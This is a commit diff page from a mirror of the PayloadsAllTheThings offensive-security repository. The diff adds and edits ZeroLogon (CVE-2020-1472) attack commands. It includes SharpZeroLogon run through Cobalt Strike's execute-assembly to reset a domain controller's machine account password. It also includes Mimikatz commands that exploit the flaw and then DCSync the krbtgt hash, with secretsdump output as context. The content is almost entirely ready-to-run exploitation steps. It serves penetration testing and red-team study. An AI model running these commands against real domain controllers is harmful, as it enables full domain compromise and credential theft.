mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 15:14:34 +00:00
.NET Zero Logon
This commit is contained in:
parent
14586e4d7a
commit
62678c26ce
1 changed files with 18 additions and 6 deletions
|
@ -292,16 +292,28 @@ $ secretsdump.py 'domain/DC01$@DC01.domain.local' -hashes aad3b435b51404eeaad3b4
|
||||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:00000000000000000000000000000000:::
|
Administrator:500:aad3b435b51404eeaad3b435b51404ee:00000000000000000000000000000000:::
|
||||||
```
|
```
|
||||||
|
|
||||||
|
in .NET for Cobalt Strike's execute-assembly
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
git clone https://github.com/nccgroup/nccfsas
|
||||||
|
# Check
|
||||||
|
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
|
||||||
|
# Resetting the machine account password
|
||||||
|
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
|
||||||
|
# Testing from a non Domain-joined machine
|
||||||
|
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
|
||||||
|
```
|
||||||
|
|
||||||
with Mimikatz : 2.2.0 20200916 ZeroLogon & DCSync
|
with Mimikatz : 2.2.0 20200916 ZeroLogon & DCSync
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
privilege::debug
|
privilege::debug
|
||||||
# check for the CVE
|
# Check for the CVE
|
||||||
lsadump::zerologon /target:DC01.corp.local /account:DC01$
|
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
|
||||||
# exploit the CVE and set the computer account's password to ""
|
# Exploit the CVE and set the computer account's password to ""
|
||||||
lsadump::zerologon /target:DC01.corp.local /account:DC01$ /exploit
|
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
|
||||||
# dcsync to extract some hashes
|
# Execute dcsync to extract some hashes
|
||||||
lsadump::dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:krbtgt /authuser:DC01$ /authdomain:CORP /authpassword:"" /authntlm
|
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
|
||||||
```
|
```
|
||||||
|
|
||||||
### Open Shares
|
### Open Shares
|
||||||
|
|
Loading…
Reference in a new issue